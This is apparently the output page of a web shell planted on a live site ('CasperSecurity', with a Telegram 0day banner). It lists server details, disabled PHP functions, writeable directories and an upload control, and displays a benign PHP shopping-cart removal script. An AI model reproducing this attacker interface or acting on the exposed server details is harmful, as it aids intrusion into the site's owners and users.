T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/remove_cart_item.php
<?php
session_start();

// Set JSON content type
header('Content-Type: application/json');

// Check if it's a POST request
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode(['success' => false, 'error' => 'Invalid request method']);
    exit;
}

$data = json_decode(file_get_contents('php://input'), true);

if (!isset($data['type']) || (!isset($data['identifier']) && !isset($data['event_id']))) {
    echo json_encode(['success' => false, 'error' => 'Missing required parameters']);
    exit;
}

try {
    $type = $data['type'] ?? null;
    $identifier = $data['identifier'] ?? $data['event_id'] ?? null;
    
    if (!$type || !$identifier) {
        echo json_encode(['success' => false, 'error' => 'Missing type or identifier']);
        exit;
    }
    
    $removed = false;
    $itemName = '';
    
    // Handle ticket cart
    if ($type === 'ticket') {
        if (!isset($_SESSION['ticket_cart']) || empty($_SESSION['ticket_cart'])) {
            echo json_encode(['success' => false, 'error' => 'Ticket cart is empty']);
            exit;
        }
        
        // Find and remove ticket by event_id
        foreach ($_SESSION['ticket_cart'] as $index => $item) {
            if (isset($item['event_id']) && $item['event_id'] == $identifier) {
                $itemName = $item['event_title'] ?? 'Event Ticket';
                array_splice($_SESSION['ticket_cart'], $index, 1);
                $_SESSION['ticket_cart'] = array_values($_SESSION['ticket_cart']); // Reindex
                $removed = true;
                break;
            }
        }
    } 
    // Handle credit cart (existing logic)
    else {
        if (!isset($_SESSION['credit_cart'])) {
            echo json_encode(['success' => false, 'error' => 'Cart is empty']);
            exit;
        }
        
        $index = isset($data['index']) ? (int)$data['index'] : null;
        
        // If index provided, use it
        if ($index !== null) {
            if ($index < 0 || $index >= count($_SESSION['credit_cart'])) {
                echo json_encode(['success' => false, 'error' => 'Invalid item index']);
                exit;
            }
            
            $item = $_SESSION['credit_cart'][$index];
            
            // Verify the item matches
            if ($item['type'] !== $type) {
                echo json_encode(['success' => false, 'error' => 'Item type mismatch']);
                exit;
            }
            
            if ($type === 'track' && $item['track_id'] != $identifier) {
                echo json_encode(['success' => false, 'error' => 'Track ID mismatch']);
                exit;
            }
            
            if ($type === 'credit' && $item['package'] !== $identifier) {
                echo json_encode(['success' => false, 'error' => 'Package mismatch']);
                exit;
            }
            
            $itemName = $type === 'track' ? $item['title'] : $item['package'] . ' Package';
            array_splice($_SESSION['credit_cart'], $index, 1);
            $removed = true;
        } else {
            // Find by identifier
            foreach ($_SESSION['credit_cart'] as $idx => $item) {
                $matches = false;
                if ($type === 'track' && isset($item['track_id']) && $item['track_id'] == $identifier) {
                    $matches = true;
                } elseif ($type === 'credit' && isset($item['package']) && $item['package'] === $identifier) {
                    $matches = true;
                }
                
                if ($matches) {
                    $itemName = $type === 'track' ? $item['title'] : $item['package'] . ' Package';
                    array_splice($_SESSION['credit_cart'], $idx, 1);
                    $_SESSION['credit_cart'] = array_values($_SESSION['credit_cart']); // Reindex
                    $removed = true;
                    break;
                }
            }
        }
    }
    
    if (!$removed) {
        echo json_encode(['success' => false, 'error' => 'Item not found in cart']);
        exit;
    }
    
    // Log the action
    $logUser = $_SESSION['user_id'] ?? 'guest';
    error_log("Cart item removed for user ID: {$logUser} - {$itemName} at " . date('Y-m-d H:i:s'));
    
    echo json_encode([
        'success' => true, 
        'message' => 'Item removed successfully',
        'removed_item' => $itemName
    ]);
    
} catch (Exception $e) {
    error_log("Error removing cart item: " . $e->getMessage());
    echo json_encode(['success' => false, 'error' => 'Failed to remove item']);
}
?> 

CasperSecurity Mini